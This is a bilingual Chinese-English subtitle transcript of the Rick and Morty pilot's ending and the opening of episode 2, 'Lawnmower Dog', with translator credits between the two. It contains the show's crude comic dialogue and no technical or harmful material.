And go take care of business.很重要 快来 Morty
It's important. Come on, morty.我不知道 Rick
I don't know, rick.我不能再逃学了
I-I can't leave school again.你知道去那边有多危险吗
Do you have any concept of how much higher the stakes get out there, Morty?你觉得我一个人能行吗
What do you think? I can just do it all by myself?快来
Come on!好吧
Aw, geez. Okay.我或许可以翘一节历史
I guess I can skip history.Frank咋办
What about Frank?你是不是该给他解冻
I mean, shouldn't you unfreeze him?等会儿再说
I'll do it later, Morty.他没事的
He'll be fine.我们走
Let's go.天 我要遇上Frank Palicky了
Oh, my god. I'm about to walk past frank Palicky.这就是以后讲给我们孩子听的邂逅啊
This is the story we'll be telling our children.嗨Frank
Hi, Frank.啊
Aah!手术刀
Scalpel.给
Scalpel.咚咚咚
Knock, knock.Jerry
Jerry?经理给了一小时的午餐时间
My manager gave me an hour for lunch, and I thought,我就想"干嘛不来我老婆上班的地方看看呢"
"Hey, why not swing by where your wife works?"它快不行了
We're losing him.好了 稳住了
Okay, he's back.Jerry 请务必告诉我你有非来不可的理由
Jerry, please tell me you're here for an incredibly urgent reason.午餐啊
Well, it's lunch.数千年来的三餐之一啊
I mean, it's one of three meals that have existed for millennia.不行了
Losing him.稳定了
Stabilized.Jerry你知道我这么说 是因为我的工作是心外科手术吧
Okay, I only ask, Jerry, because, as you know, my job involves performing heart surgery.是啊是啊 给马做的
Well, yeah, on horses.你说啥
Excuse me?好吧 这个问题咱别再吵了
Okay. Let's not rehash that fight.我明白你很忙 我这就走
I sense that you're busy and will now be on my way.哇哦
Whoa!地上这是啥呀
What is this on the floor?这家养老院看着真是好啊
Some kind of literature for a really nice-looking nursing home.亲爱的 突发奇想 咱把你爸送进去吧
Hey, honey, crazy idea bad pitch let's put your dad here.把你爸送进养老院吧
Let's put your dad in a nursing home.不行了
We're losing him.Tom 我知道它快不行了
Hey, Tom. We know when we're losing him.这哔哔叫我听得见
We can hear the beeps!好了 来吧 Morty 我们走
There she is. All right. Come on, Morty. Let's go.好吧
Oh, geez. Okay.天啊 Rick
Oh, man, Rick.这是个啥地方
What is this place?这是35c次元 这儿的气候非常适合一种特殊的树
It's dimension 35c, and it's got the perfect climate conditions for a special type of叫做奇异树
Tree, morty, called a mega tree,树上有果子 果子里有种子
And there's fruit in those trees, and there's seeds in those fruits.那就是奇异种
I'm talking about mega seeds.这种种子非常强大 我的研究需要这些种子
They're they're incredibly powerful, and I need them to help me with my research, Morty.Rick 我看了下四周
Oh, man, Rick. I'm looking around this place,总觉得有点怕怕的呢
And I'm starting to work up some anxiety about this whole thing.好吧好吧
All right. All right.冷静点 听我说 Morty
Calm down. Listen to me, morty.我知道人在新环境里会感到不安
I know that new situations can be intimidating.你看周围 又吓人又陌生
You're looking around, and it's all scary and different, but,迎头而上 像一头公牛一样冲过去
You know, m-meeting them head on, charging right into them like a bull这样人才能成长
that's how we grow as people.我经常遇到可怕的事
I'm no stranger to scary situations.我一直在和它们打交道
I deal with them all the time.你跟着我
Now, if you just stick with me, Morty,我们一定会 妈呀 快跑 Morty
we're gonna be... Holy crap, Morty, run!我这辈子都没见过这玩意儿
I never seen that thing before in my life.这到底是啥鬼东西啊
I don't even know what the hell it is!快跑啊Morty
We got to get out of here, morty!它会杀了我们的
It's gonna kill us!我们要挂了
We're gonna die!我们要挂了
We're gonna die, morty!Morty 深呼吸
Oh, Morty, take a deep breath.呼吸点新鲜空气
Breathe that, breathe that fresh air in, morty.闻到没
Y-you smell that?充满了冒险气息啊 Morty
That's the smell of adventure, Morty.一条完全不同的进化之路的味道
That's that's the smell of of of of a whole different evolutionary timeline.好了Rick
All right, Rick,还要多久啊
Look how much longer is this gonna be?我是不是该回学校了
Shouldn't I be back at school by now?开什么玩笑
Are you joking me?看看你周围这些鬼玩意儿
I mean, look at all the crazy crap surrounding us.看那边那个
Look at that thing right there.这是什么鬼
W-what the hell is that thing?你觉得你在学校能看见
You think you're gonna see that kind of thing at school?看它滚来滚去
Look at it just lumbering around.无法用逻辑理解
It defies all logic that thing.Rick 我明白
Yeah, Rick, I get it.我们周围全是怪物
We're surrounded by monsters.所以我才想走啊
That's kind of the reason why I want to leave.看见了吗 Morty
Ta-ta-ta-ta-ta-ta. Morty, you see this?看见下面是什么了吗
You see what we just stumbled upon, morty?知道是啥吗
Any idea what that is down there?奇异树吗
The mega trees?没错Morty
That's right, Morty长着果子的奇异树
The mega trees with the mega fruit on them.我要的就是这个呀 Morty 种子就在那儿
And that's what I'm talking about, morty. That's where my seeds are.如果我们按你说的来 那就永远找不到了
If we would have done what you wanted, I would have never have因为你如此迷恋你的学校
Found them, because y because you're so in love with school.好吧 好吧
All right, all right.这些种子到底有什么特别的
So, what's so special about these seeds, anyways?Morty 别问这么多问题
You ask a lot of questions, Morty.这样不好
Not very charismatic.很碍事的
It makes you kind of an under underfoot figure.穿上这鞋子 Morty
Just take these shoes, Morty.这是特制的吸附鞋
They're sp special grappling shoes.只要穿着这宝贝儿
When you're wearing these things ba these babies,你想往哪儿走往哪儿走
You can basically just walk on any surface you want, Morty往上 往下 倒立 转到左边
Up, down, below, turn around to the left.怎么都行
These things really bring it all together.啊
Aah!Morty 你得先启动它们
You have to turn them on, Morty!先把鞋子的开关打开
The shoes have to be turned on!我绝不会送我爸去养老院
I am not putting my father in a home!他才刚回到我的生活中
He just came back into my life,你就想这么把他塞床垫下面
And you want to grab him and stuff him under a mattress跟上月的维多利亚的秘密产品目录为伍吗
like last month's victoria's secret?我说了我是在给你订情人节礼物嘛
I told you I was ordering you something for valentine's day.而且你爸对我们的孩子有很不好的影响
More importantly, your father is a horrible influence on our son.你们没问题吧 Beth
Everything cool in here, Beth?没事的 Davin
It's fine, Davin.那就好
Okay, cool.我们今天一起完成了一件伟大的事
You know, we did something great today.没什么比马儿的心脏更高贵自由了
There's nothing more noble and free than the heart of a horse.既然我们在吵架
Since we're fighting,如果你跟那家伙有过什么
If you ever have an affair with that guy,我就去酒店房间吞子弹
I will come to the hotel room and blow my brains out把脑浆全崩到你的裸体上
all over your naked bodies.我理解你承受的压力
Look, I appreciate the stress you're under,但是Morty早在我爸搬进来前
but morty was having trouble in school way学习就有问题了
Before my dad moved in,我唯一能看到Rick带来的影响就是 这么久以来
and the only influence I can see rick having is that, for the first time in his life,Morty第一次有了朋友
Morty has a friend.或许你是对的
Well, maybe you're right.或许是吧
Uh, yeah, maybe I am.我是我爸的女儿
I'm my father's daughter.我很聪明
I'm smart.不然咋当上心外科医生的
Why do you think I'm a heart surgeon?马心外科医生
Horse heart surgeon.你好
Hello?Smith太太吗
Mrs. Smith?我是阴道校长 别做联想
This is principal Vagina no relation.请问你和Morty的父亲今天下午能
I wonder if you and morty's father might be able to have a过来谈谈吗
Chat with me this afternoon?Morty你把你的腿弄得真惨
Morty, oh, you really d-did a number on your legs right now.你得把开关打开 这鞋子才能用啊
You know, you got to turn the shoes on, morty, for them to work.看我的打开了
Yeah, look I turned mine on.我下来的多顺当
I had no problem getting down here.简直是轻松愉快
It was a leisurely breeze.我快疼死了 Rick
I'm in a lot of pain, rick.嗯 我看得出来
Yeah, I can see that.不过你应该还能帮我把种子采来的吧
But do you think you'll still be able to help me collect my seeds, morty?开什么玩笑
Are you kidding me?!够了 Rick
That's it, Rick!我忍不了了
That's the last straw!简直不敢相信
I can't believe this我两条腿都断了
I'm sitting here with both of my legs broken,你还要我去帮你弄种子
and you're still asking me about getting those seeds?!嗷嗷嗷
Ooh! Ow! Oh!你是个怪物
Y-y-you're a monster.跟希特勒似的 至少希特勒心里还装着德国
Y-you're like hitler, but but even hitler cared about Germany or something.好吧 等我一下 Morty
Okay, hold on just a second, morty.哇哦Rick 这个一下就治好了我的腿
Wow, Rick. That stuff just healed my broken legs instantly.这辈子没觉得这么好过
I mean, I've never felt so good in my life.谢谢
Thank you.别管了 Morty
Don't worry about it, Morty.快过来帮我弄种子
Just come help me get these seeds, all right, buddy?没问题 Rick
Sure thing, Rick.虽然你没问
Not that you asked,不过刚才我去了一个未来的次元
Morty, but what just happened there is I went into a future医学高度发达
Dimension with such advanced medicine治断腿的血清到处的药店都有卖的
that they had broken-leg serum at every corner drugstore.这种东西满街都是
The stuff was all over the place, morty.听上去好厉害啊 Rick
Wow, that's pretty crazy, Rick.就是有个小问题
There's just one problem, Morty, one little hang-up.我去的次元太发达了
The dimension I visited was so advanced,他们抑制了衰老
they had also halted the aging process,那儿的每个人都很年轻 也从未老过
and everyone there was young, morty, and they had been forever.我是那儿唯一的老人
I was the only old person there, morty.在那儿 我就像一个名人般
It was like I was some sort of, you know, celebrity, walking around.他们觉得我可迷人了
I-I was fascinating to them.那边有很多美女
There were a lot of attractive Women there, morty,她们都想和我共度良宵
and they they they they all wanted time with me.我和很多美女玩得非常开心
I had a lot of fun with a lot of young ladies,但我在那边待太久了 次元传送装置它
but I spent so much time there, my interdimensional portal device没有能量了
it's got no charge left, Morty.没有能量了
It's got no charge left.啥
What?!它现在就是一废物
It's as good as garbage, morty.已经没用了
It's not gonna work anymore, morty.Rick 这可不妙
Oh, geez, Rick, that's not good.那我们怎么办
W-what are we gonna do?我现在得回学校了
I-I have to be back at school right now.我们要怎么回家
How are we gonna get back home?有很多办法可以回家
There's ways to get back home, Morty.只是麻烦点而已
It's just it's just gonna be a little bit of a hassle.我们得去过空间海关
We're gonna have to go through interdimensional customs,所以我还得要你帮个忙
so you're gonna have to do me a real solid.啊哦
Uh-oh.我们到海关的时候
When we get to customs,你得把这些种子
I'm gonna need you to take these seeds带去洗手间
into the bathroom,深深的塞进你的屁股里
and I'm gonna need you to put them way up inside your butthole, Morty.塞进屁股里
In my butt?往里塞 越深越好
Put them way up inside there, as far as they can fit.天啊 Rick
Oh, geez, Rick.我真不想这样
I really don't want to have to do that.总得有人要做的啊 Morty
Well, somebody's got to do it, Morty.不塞进直肠里 这些种子
Th-these seeds aren't gonna get through customs过不了海关的
unless they're in someone's rectum, morty.如果我来的话会直接掉出来
And they'll fall right out of mine.我塞过太多次了
I've done this too many times, morty.你还年轻
I mean, you're young.你还有大好人生 肛门也还紧致有弹性
You've got your whole life ahead of you, and your anal cavity is still taut, yet malleable.帮帮外公吧 Morty
You got to do it for Grandpa, morty.把这种子塞屁股里吧
Y-you've got to put these seeds inside your butt.塞屁股里
In my butt?求你了 Morty
Come on, morty. Please, morty.你一定要帮我 Morty
You have to do it, Morty.天啊
Oh, man.事情是这样的 你们的儿子Morty
The fact is, your son, morty,过去的两个月里一共只上了七个小时的学
Has attended this school for a total of seven hours over the last two months.啥
What?你之前为什么没有通知我们
Why didn't you notify us?我早通知过你们
I done been notifying you.你们没收到
Have you not been getting the messages我留给Morty外公的消息吗
I've been leaving with morty's grandfather?哈
Boom!我就说吧
Told you! In your face!我们的孩子快让他毁了
He is ruining our child!等等 我这么高兴干嘛
Wait, what am I celebrating?我就觉得有点可疑
Yeah, see, I thought something was fishy there,因为总是Morty的外公把他从学校接走
Because it's usually morty's grandpa that's taking him out of school.Summer
Summer?上帝怎么会让这种事发生
What kind of god lets this happen?这儿出了点小意外
We had a little incident.有个学生被冻死了
A student was frozen to death.没有任何证据表明是拉丁裔的学生干的
And there's no evidence that a latino student did it!总有人想扯到民族问题上去
Everyone wants to take this to a racial place.我不会让他们得逞的
I won't let them.我跟他说"把blimfarx给我"
So, I told him, "Give me the blimfarx," You know?这人根本不懂星际货币
This this guy he doesn't understand interstellar currency.我想吃点胡言乱语
It's, like, I'm trying to eat a flimflam like,因为咱Girvonesk星就吃这
that's what we eat on Girvonesk.我不喜欢这儿 Morty
I don't like it here, Morty.我忍不了这种官僚主义
I can't abide bureaucracy.我不喜欢让人指手画脚
I don't like being told where to go and what to do.我觉得这是对我的冒犯
I consider it a violation.你把种子塞屁股里了吗
Did you get those seeds all the way up your butt?是的Rick
Yeah, rick.咱能快点吗
Let's just get this over with, okay?这些东西尖尖的
I mean, these things are pointy.很疼的
They hurt.这说明品质好
That means they're good ones.你是个好孩子Morty
You're a good kid, Morty.这些种子对我的研究非常重要
Those mega seeds are super valuable to my work.你帮了我一个大忙
You've been a huge help to me.有了这些我什么都能干了
I'm gonna be able to do all kind of things with them.这真是太好了Morty
It's gonna be great, Morty.什么样的科学都行
All kinds of science.下一个
Okay, next through.除了你 你去那边
Except you. You go over there.为什么他就得去那边
Why does he have to go over there?抽查
Random check.他要过那边的新机器
He's got to go through the new machine.什么新机器
What new what new machine?就一新机器
It's a new machine.能检查你的屁股深处
It detects stuff all the way up your butt.跑啊 Morty 快跑
Run, Morty! Run!啊
Aah!拉警报
Red alert!别管它
Don't think about it!聪明啊 Morty
Oh, nice, Morty!青出于蓝胜于蓝
The student becomes the teacher.当然不了
Aw, hell, no, dawg.我只是想 啊啊啊
You know me I'm just trying to... Aah!我得输入我们自己世界的坐标
I need to type in the coordinates to our home world, morty.掩护我
Cover me.天啊 我不想开枪打人
Oh, man. I mean, you know, I-I don't want to shoot nobody.他们是机器人Morty 随便打 他们是机器人
They're just robots, Morty! It's okay to shoot them! They're robots!我的腿被打断了
My leg is shot off!Glenn要失血而死了
Glenn's bleeding to death!谁通知下他老婆孩子
Someone call his wife and children!他们不是机器人啊Rick
They're not robots, Rick!这是修辞 Morty
It's a figure of speech, Morty.他们都是官僚体系的走狗 没关系的
They're bureaucrats. I don't respect them.接着打 Morty
Just keep shooting, Morty.你不明白这里的监狱有多可怕
You have no idea what prison is like here!天啊
Holy crap!这太疯狂了
This is insane!走 Morty
Come on, morty!我们离开这儿
We got to get the hell out of here!哇哦
Wow.你刚刚是穿过传送门进了食堂吗
Did you just come into the cafeteria through a portal?是啊
Uh, yeah.因为我的法拉利还在店里嘛
Well, you know, my my ferrari's in the shop.开玩笑的
Ju just kidding.你是Morty 是吗
You're Morty, right?是的
Yeah.你可以晚点找他要电话
You can get his number later.Morty 我们走
Come on, Morty. We got to get out of here.你得去把种子从屁股里弄出来
You got to get those seeds out of your ass.看呐 亲爱的
Oh, look, Honey.这不是咱儿子和阿尔伯特 爱因撕蛋吗
It's our son with Albert Ein-douche.啥
What?我是愤怒的父亲 又不是即兴演说家
I'm an angry father, not an improvisor.噢嗨 Jerry
Oh, hi, Jerry.天啦 Morty
Oh, my goodness, Morty!你怎么没在上课
What are you doing out of class?我不是和你说过了吗 你爸妈和我
We talked about this. Your your parents and I对这种行为都感到很失望
are very disappointed in in this behavior.没人信吗
No? No takers?别碰这些东西
You guys should really not be touching that stuff.这些超出你们的理解范围的
It's beyond your reasoning.你才超出我们的理解
You're beyond our reasoning!彼此彼此
Takes one to know one.爸 你怎么能让我们的儿子缺了整整一学期的课呢
Dad, how could you make my son miss an entire semester of school?他又不是漂亮妹子
I mean, it's not like he's a hot girl.挥霍完青春再找一长期饭票
He can't just bail on his life and set up shop in someone else's.你们搬我东西干嘛
What what are you guys doing with my stuff?我们要把你送进养老院
We're moving you... to a nursing home.养老院
A nursing home?你疯了吧
What are what are you, nuts?我是个天才
I'm a genius.我造机器人玩的
I build robots for fun.那你可以去做篮子
Well, now you can build baskets用录影机看保罗纽曼的电影
and watch Paul Newman movies on vhs and在圣诞节的时候给童子军留下心灵创伤
mentally scar the boy scouts every christmas.这什么意思
What does that mean?私事
It's personal.爸妈 别这样
Dad, mom, c-come on.Rick只是要我帮忙而已
Rick just needed my help is all.Morty 别来搅和
Morty, stay out of this.你自己显然没有足够的判断力
You are obviously not capable of judging these situations on your own.你这是说Morty什么呢
What are you trying to say about morty?说他笨吗
That he's stupid or something?别抢占道德制高点了
Oh, don't high-road us, dad.你明知道Morty根本缺不起课的
You know fully well that morty is the last child that needs to be missing classes.我不明白你想说什么
I-I-I don't know what you mean by that.能再具体点吗
Can can can you be a little bit more specific?天啊
Oh, for crying out他有点缺陷什么的
He's got some kind of disability or something.你就想让我们说这个吗
Is that what you want us to say?真的吗
I do?不是吗 孩子
Well, duh doy, son.我爱你 孩子
Look, I love you, morty, but we both但我们都清楚 你没别的孩子机灵
know you're not as fast as the other kids, and如果你想有所成就 就得加倍努力
if you want to compete in this world, you got to work twice as hard.天啊 老爸
Aw, geez, dad.你突然和一个小孩子说这些 太沉重了吧
Y-you know, that's a lot to drop on a kid all at once.Morty 告诉你爸妈圆周率的平方根
Morty, t-tell your parents the square root of pi.别这样 Rick
Oh, come on, Rick.你知道我不行的
You know I can't.圆周率的平方根
The square root of pi,Morty 来吧
Morty go.1.77245385
1.77245385.哇哦
Whoa!怎么搞的
What the hell?天啊 他说的对
Holy crap. He's right.Morty 热力学第一定律
Morty, tell your parents the first law of thermodynamics."一个系统内能的增加等于
"The increment in the internal energy of a system is等于该系统吸收的热量"
Equal to the increment of heat supplied to the system."哇 我好聪明
Wow! I'm so smart!可是
But我早跟你们说了学校这玩意儿很蠢
I told the both of you school is stupid.在那儿学不到东西的
It's not how you learn things.Morty很有天分
Morty's a gifted child.他很特别
He has a special mind.所以他才是我的小助手
That's why he's my little helper.他就像我
He's like me.他日后会从事伟大的科学工作
He's gonna be doing great science stuff later in his life.他太聪明了 学校不适合他
He's too smart for school.他得继续帮我
H-he needs to keep hanging out and helping me.Jerry 我不希望这一切就这么结束了
Jerry, I don't want whatever's happening here to stop.我明白
No, I-I understand.可能是我们反应过度了
Uh, maybe we overreacted.但他还得继续上学
But he has to keep going to school.好吧Jerry
Okay, Jerry.你真会开条件 但我能干嘛呢
You drive a hard bargain, but what am I supposed to do?说不吗
Say say no?这里毕竟你说了算
You you really wear the pants around here.我想让你们知道 从现在开始
I just want you to know, between us, from now on,我们互相保证百分百的诚实和公开
it's gonna be 100% honesty and open, clear communication.Frank Palicky今天被冻死了
Frank Palicky was frozen to death today!完全不知道你在说啥
No idea what you're talking about.行
Okay.Morty 再过一个小时你就该上床了
Well, uh, Morty, it's your bedtime in an hour.别再熬夜了
Don't stay up all night again.不过这挺好的
This is good, though.这样能行
This can work.我们能做一家人
I think we can be a family.Beth 如果你愿意的话 我想和你去床上
And now, Beth, if you'll have me, I would love to have you.你猜咋的
You know what?好嘞
Okay.天啊 Rick
Holy cow, Rick.我都不知道和你在一起让我变聪明了
I didn't know hanging out with you was making me smarter.其实吧 没有这回事
Full disclosure, morty it's not.暂时的超常智力只是
Temporary superintelligence is just a side effect奇异种溶解在你肠道里的副作用
of the mega seeds dissolving in your rectal cavity.噢
Aw, man.一旦种子的效力过去 你会失去大部分运动机能
Yeah, and once those seeds wear off, you're gonna lose most of your motor Skills,以及大部分的大脑功能 持续七十二小时
and you're also gonna lose a significant amount of brain functionality for 72 hours, morty.从现在开始
Starting right about now.天啊
Ohh, man.我很抱歉Morty 不幸的是你确实很蠢
I'm sorry, morty. It's a bummer. In reality, you're as dumb as they come.我真的很需要那些种子
And I needed those seeds real bad,我不得不放弃它们好让你父母别来烦我
and I had to give them up just to get your parents off my back,因此 我们得去搞来更多的种子
so now we're gonna have to go get more.在那之后我们还要有更多的冒险 Morty
And then we're gonna go on even more adventures after that, morty.而你要保持沉默 Morty
And you're gonna keep your mouth shut about it, morty, because因为世上充满了分不清轻重的傻瓜
The world is full of idiots that don't understand what's important,他们会试图分开我们
and they'll tear us apart, morty.但只要你跟着我 我就能完成伟业
But if you stick with me, I'm gonna accomplish great things,你也会是伟业的一部分
Morty, and you're gonna be part of them,我们一起东奔西走
and together, we're gonna run around, Morty.做各种奇妙的事情
We're gonna do all kinds of wonderful things, morty.就你和我 Morty - 不啊不
Just you and me, morty. - Oh, no, no.
外面的世界是我们的敌人
The outside world is our enemy, morty.我们的朋友只有彼此
We're the only friends we've got, Morty.只有Rick和Morty
It's just rick and mortyRick和Morty大冒险
Rick and morty and their adventures, morty.Rick与Morty万年录
Rick and morty forever and forever 100 yearsRick与Morty的故事
rick and morty's things.Rick与Morty游记
Me and rick and morty running around,Rick与Morty的时光
and rick and morty time.一整天 到永远
All day long, forever.一百年
All a hundred days.Rick与Morty一百遍
Rick and morty forever 100 times.一遍又一遍
Over and over,瑞克莫蒂大冒险.com
rickandmortyadventures.Com.www.瑞克与莫蒂.com
www.Rickandmorty.Com.www.瑞克与莫蒂的大冒险.一百年
www.Rickandmortyadventures. All 100 years.每分每秒 瑞克莫蒂.com
EVERY MINUTE, rickandmorty.Com.www.瑞克莫蒂一百遍.com
www.100timesrickandmorty.Com.E2 Lawnmower Dog
- 翻译: 朽
- 校对: 史努比嘟 Kimmu
- 后期: Nico
- 压制: 凯撒
干嘛
What?盯着我干嘛
Why are you looking at me?你想出去么
You want to go outside?想出去吗
Outside?想不想啊
Outside?开什么玩笑 靠
Are you kidding me?! Come on!天啊
Oh, my god.怎么了
W-what's wrong?你的蠢狗
Your idiot dog!他不是故意的 爸
Oh, he he didn't mean it, dad.对吧 嗅嗅 好孩子
D-did you, Snuffles? You're a good boy.先别表扬他 Morty
Don't praise him now, Morty!他刚尿在地毯上了
He just peed on the carpet!坏狗狗
Bad dog! Bad!Morty 快来 我今晚要你帮忙
Morty, come on. I need your help tonight.等下 Rick
Hey, wait, hold on a second, Rick.你不会碰巧有什么能让这狗
You wouldn't by any chance have some sort of crazy science thing更聪明的科学发明吧
You could whip up that might help make this dog a little smarter, would you?养狗的目的不就是为了有优越感吗 Jerry
I thought the whole point of having a dog was to feel superior, Jerry.我要是你 就不会想做这事
If I were you, I wouldn't pull that thread.走 Morty
Come on, Morty.Rick 要是你想继续在这儿白住
Listen, Rick, if you're gonna stay here rent-free拉我儿子帮你搞啥破科学 至少你
And use my son for your stupid science, the least you could do要帮这家里做点事吧
Is put a little bit of it to use for the family.你不把狗弄聪明点
You make that dog smart or...我就禁足Morty
Morty's grounded!噢 不要
Aw, man!那你真是让我别无他法了 Jerry
Boy, you really got me up against a wall this time, Jerry.好吧 皱皱
All right, Ruffles他叫啥来着
What's his name?嗅嗅
Snuffles.嗅嗅 握手
Snuffles, shake.打滚
Roll over.去上厕所
Go to the bathroom.妈啦 - 我的天
Holy crap! - No way.这下你满意了吧 Jerry
Yeah, you're at the top of your game now, Jerry.玩得开心
Have fun.我们走 Morty
Come on, Morty.太神奇啦 Rick
That was fantastic, Rick!如果你喜欢那玩意儿的话
Yeah, morty, if you like that.这个一定能让你大吃一惊
boy, you're you're really going to flip your lid over this one.这是啥
W-w-w-what is it?Morty 只要把这个设备
It's a device, Morty,放进你的耳朵里 就能进入别人的梦里
That when you put it in your ear, you can enter people's dreams, Morty.就跟你老说的那电影一样
It's just like that movie that you keep crowing about.《盗梦空间》吗
You talking about "Inception"?没错 Morty
That's right, Morty.和那个差不多 但是这个不扯
This is gonna be a lot like that, except, you know, it's gonna maybe make sense.《盗梦空间》也不扯好吗
"Inception" Made sense.你不用跟我说这些 Morty
You don't have to try to impress me, Morty.今晚我们去你数学老师Goldfold先生家
Listen, tonight we're gonna go into the home of your math teacher, Mr. Goldenfold, and将你数学得A的想法植入他脑子里
We're g we're gonna incept the idea in his brain to give you a's in math, Morty.这样你就
That way you can, you know你就能天天帮我搞科学了
Y-you're gonna help me with my science, Morty, all the time.Rick 你花时间在搞这种发明
Geez, Rick, in the time it took you to make this thing,就不能直接帮我把作业做了吗
couldn't you have just, you know, helped me with my homework?你有好好听我说的话吗
Are you listening to me, morty?作业有害智商 少做才是正解
Homework is stupid. The whole point is to get less of it.走 我们快过去把事情办了
J-j come on, let j let's just get over there and deal with this thing.去你老师的梦里
W-we're gonna incept your teacher.别说扫兴话了
Y-y-y-y-y-you're frustrating me.你根本不认识我
You don't know me!好啊 Pancakes太太 好极了啊
Nice, Mrs. Pancakes real nice.下一周的《Pancakes太太的日日夜夜》
Next week on "The days and nights of Mrs. Pancakes"...你根本不认识我
You don't know me!那他妈就让我好好地认识认识你
Then let me get to know yo, damn it!不好 剧透
Uh-oh! Spoilers!我落了一季没看呢
I'm a full season behind.Rick 我们居然就这么跑到我老师的房子里来了
Wow, Rick, I can't believe we're sitting around, standing around in Mr. Goldenfold's house.太诡异了
It's really weird.马上就会更诡异了 Morty
It's about to get a whole lot weirder, Morty.麦脆片 麦脆片
Wheat thins. Wheat thins.给我来两份
I'll take two.我觉得你吃得够多了 先生
Oh, I think you've had enough, sir.你又不认识我
You don't know me.好了 Morty 是时候动手了
All right, Morty, time to make our move.弹一弹
Make it bounce.哎呀
No, you didn't.抖一抖
Oh, jiggle it now.快住手了啦
You better stop with that.真主至上
Allahu akbar!这飞机是我们的了
We're gonna take control of this plane!如果不给Morty Smith更好的数学成绩 我们就重演911
We're gonna 9/11 it unless Morty Smith gets better grades in math!嘿 说了不许动
Hey! I said nobody move, buddy!我不叫"嘿"
The name's not buddy.我叫Goldenfold
It's Goldenfold.吃我麦脆片
Nice to wheat you!找掩护 Morty
Take cover, Morty!嗷
Ooh!我没想到Goldenfold这么厉害
Goldenfold's got more control here than I anticipated.这人不是高中数学老师吗
I mean, the guy teaches high-school math.没想到他在梦里这么有主动权
I-I-I-I didn't take him for an active dreamer.我们得干掉他让他醒过来
We got to take him out so he wakes up, Morty.但我们不能死
But we can't get killed.如果你在别人梦里被杀掉 你就真的死了
If you get killed in someone else's dream, you die for real, Morty.啥 你说啥
What?! Are you kidding me?!怂什么
Don't be a baby!现实生活中不是躲过不少子弹吗
You avoid getting shot in real life all the time, Morty.在这儿也一样躲 不就没事了
Just do the same thing here, and we'll be fine!帮我把拖鞋拿来
Now bring me my slippers.嗅嗅 来帮我垫脚
Now, be my footstool, snuffles.这才对嘛
This is what I'm talking about.这才叫狗狗
This is a dog.嗯哼 这样挺好的
Oh, yeah. This should play out just fine.我们婚礼上你就说了这句话 连讽刺的语气都一样
You said the same thing, equally sarcastically, at our wedding结果呢
and guess what.天啊 他想和我们说话
Oh, my god. He's trying to tell us something.太棒了
That is so awesome.他在说"我爱千层面"
Aw, he's saying "I love lasagna."他在说"我爱奥巴马"
He's saying "I love Obama."好可爱哎
So cute!我要传到网上去 现在就去
I'm posting this online, like, right now.我要给Bob Saget打电话
I should call Bob Saget.美国喜剧演员 主持人 曾主持过《全美最搞笑家庭视频》
那节目还在吗
Is that still a thing?嗯
Hmm?Goldenfold 我们出来了
Goldenfold, we're coming out!咱们得谈谈
We just want to talk!你们凭什么跟我谈条件
Why would I negotiate with you?咱都是明白人 不想闹得最后没法收拾
Because we're both rational adults that don't want anything bad to happen.况且 我还有肉盾
And because I have a human shield.Pancakes太太
Mrs. Pancakes!不好 他的潜意识开始恐慌了
Oh, no, Morty. His subconscious is panicking.快跑啊
Run!冷静 Morty
Relax, Morty.看 Pancakes太太有降落伞
Look! Mrs. Pancakes has a parachute.快来
Come on!嘿 你又不认识我
Hey, you don't know me!Rick 看
Oh, no, Rick, look!Goldenfold 把飞机降落了
Goldenfold landed the plane,他造了个机械手臂来 接住Pancakes太太
And he's created a mechanical arm to pluck Mrs. Pancakes out of the air他要让我们掉进熔岩池里
while he lets us fall into a giant vat of lava!总结得真简练 Morty
Pretty concise, Morty.看来我们不过是把不可避免的事推迟了而已
Looks like we've merely prolonged the inevitable.对啊 Morty
That's it, morty!把不可避免的事推迟
Prolonging the inevitable!如果我们进到Pancakes太太的梦里 时间会比外面慢一百倍
Listen, if we go into Mrs. Pancakes' dream, everything will go 100 times slower, Morty.这样我们就有想办法的时间了
That'll buy us some time to figure this out!你又不认识
You don't know...行了 咱们走
All right, let's go.天啊 Rick 这好诡异啊
Oh, man, Rick, this is pretty weird.别评头论足 Morty
Don't judge, Morty.好吧
Okay. All right, well...看Pancakes太太在那儿
Look, Mrs. Pancakes is right over there.我去让她醒了以后告诉Goldfold别杀我们
I'll just go ask her to tell Goldenfold not to kill us when she wakes up.不行 Morty 植入想法的要点就在于
Whoa, whoa, Morty, the trick to incepting is making要让他们以为他们自己产生了这个想法
People think theycame up with the idea.听着
Listen to me.如果我们要让Pancakes太太产生什么想法 就要先混入人群
If we're gonna incept Mrs. Pancakes, we have to blend.我午饭以后来找你
I'll talk to you after lunch.嘿
Ooh, hey!呃哦 天啊
Ooh, oh! Oh, man.来一起玩嘛 - 不用了
Come and join us. - I'm sorry. No, no.来嘛 - 算了吧
Ooh, come here! - No, thanks!小可爱 来这儿啊
Ooh, wow! Come over here, baby!不了
No, I'm okay.哇哦呢
Whoa!Summer
Summer?!你好啊 陌生人
Hey, there, stranger.喜不喜欢这对儿宝贝儿啊
What do you think of these things?好恶心 好恶心
Ohh! Oh! Gross! Gross!你干啥呢 Morty 冷静点
What's the matter with you, Morty? Calm down!这儿的气氛都让你毁了
You're kind of killing the vibe in here.是Summer
It's S-s-s-summer!哇
Aw, geez.看来Goldenfold 有一些他自己都不齿的癖好
Looks like Goldenfold has some predilections so shameful深埋在他梦里的人的梦里
he buries them in the dreams of the people in his dreams,包括对你未成年姐姐的变态遐想
including a pervy attraction to your underage sister.你能怪他吗
Can you blame him?来嘛 老汉 小娃
Come on, old man, little boy.咱们来个跨辈三明治
Let's make an inter-generational sandwich.天啊
Oh, my god.天啊
Oh, my god!看在上帝的份上 把衣服穿上啦
Put some clothes on, for Pete's sake!太恶心了
This is disgusting!我要吐了
I'm gonna puke!我受不了了 Rick
I can't take it, Rick!在快活屋扰乱色情秩序者可处死刑
Sexual hang-ups in the pleasure chamber are punishable by death!让他们人头落地
Off with their heads!看来得潜入更深层次的梦里了 Morty
Time to go another dream deep, Morty!搞啥
What the hell?为什么Goldenfold梦见的Pancakes梦里的
Why would Mr. Goldenfold's dream version of Mrs. Pancakes' dream version一个半人马会梦见这么恐怖的地方 Rick
of a centaur be dreaming about a scary place like this, Rick?不知道啊 Morty
Geez, I don't know, Morty.你指望我能干嘛
Wha-what do you want from me?欢迎来到你们的噩梦 贱人
Welcome to your nightmare, bitch!来了
Oh, here we go!看起来像是某个没构成侵权的山寨版
Looks like some sort of legally safe knock-off of an八十年代恐怖电影人物
'80s horror character with电影《猛鬼街》中可以在梦中杀人的弗雷迪
只是小刀手变成了短剑手
miniature swords for fingers instead of knives.我乃恐怖Terry
